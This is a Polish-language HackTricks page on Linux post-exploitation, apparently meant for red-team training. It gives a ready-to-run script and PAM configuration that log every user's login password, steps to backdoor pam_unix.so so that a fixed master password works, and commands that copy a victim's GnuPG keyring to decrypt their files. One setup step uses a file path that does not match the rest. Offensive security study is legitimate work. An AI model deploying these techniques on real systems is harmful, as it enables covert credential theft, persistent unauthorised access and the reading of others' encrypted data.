Linux Post-Exploitation
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Sniffing Logon Passwords with PAM
Skonfigurujmy moduł PAM, aby logował każde hasło używane przez użytkowników podczas logowania. Jeśli nie wiesz, czym jest PAM, sprawdź:
PAM - Pluggable Authentication Modules
For further details check the original post. To tylko podsumowanie:
Przegląd techniki: Pluggable Authentication Modules (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach opartych na Unix. Mogą zwiększyć bezpieczeństwo przez dostosowanie procesów logowania, ale w przypadku niewłaściwego użycia stanowią też zagrożenie. To podsumowanie opisuje technikę przechwytywania danych logowania za pomocą PAM oraz strategie łagodzenia skutków.
Przechwytywanie poświadczeń:
- Skrypt bash o nazwie
toomanysecrets.sh
jest stworzony do logowania prób logowania, zapisując datę, nazwę użytkownika ($PAM_USER
), hasło (przez stdin) i IP hosta zdalnego ($PAM_RHOST
) do/var/log/toomanysecrets.log
. - Skrypt zostaje uczyniony wykonywalnym i zintegrowany z konfiguracją PAM (
common-auth
) przy użyciu modułupam_exec.so
z opcjami uruchamiania w trybie cichym i przekazania tokena uwierzytelniającego do skryptu. - Podejście demonstruje, jak skompromitowany host Linux może zostać wykorzystany do dyskretnego logowania poświadczeń.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Szczegóły znajdziesz w original post. Poniżej tylko podsumowanie:
Pluggable Authentication Module (PAM) to system używany w Linuxie do uwierzytelniania użytkowników. Działa on na trzech głównych koncepcjach: username, password oraz service. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu /etc/pam.d/
, gdzie shared libraries zajmują się uwierzytelnianiem.
Cel: Zmodyfikować PAM tak, aby umożliwić uwierzytelnianie przy użyciu określonego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej pam_unix.so
używanej przez plik common-auth
, który jest dołączany przez niemal wszystkie usługi do weryfikacji hasła.
Steps for Modifying pam_unix.so
:
- Locate the Authentication Directive in the
common-auth
file:
- The line responsible for checking a user's password calls
pam_unix.so
.
- Modify Source Code:
- Add a conditional statement in the
pam_unix_auth.c
source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
- Recompile and Replace the modified
pam_unix.so
library in the appropriate directory. - Testing:
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
tip
Możesz zautomatyzować ten proces za pomocą https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
Jeśli znajdziesz zaszyfrowany plik .gpg
i folder użytkownika ~/.gnupg
(pubring, private-keys, trustdb), ale nie możesz odszyfrować z powodu uprawnień/blokad homedir GnuPG, skopiuj keyring do zapisywalnej lokalizacji i użyj go jako swojego GPG home.
Typowe błędy, które zobaczysz bez tego: "unsafe ownership on homedir", "failed to create temporary file", lub "decryption failed: No secret key" (ponieważ GPG nie może odczytać/zapisać oryginalnego homedir).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Jeśli materiał klucza prywatnego znajduje się w private-keys-v1.d
, GPG odblokuje i odszyfruje bez proszenia o passphrase (lub poprosi, jeśli klucz jest chroniony).
Źródła
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.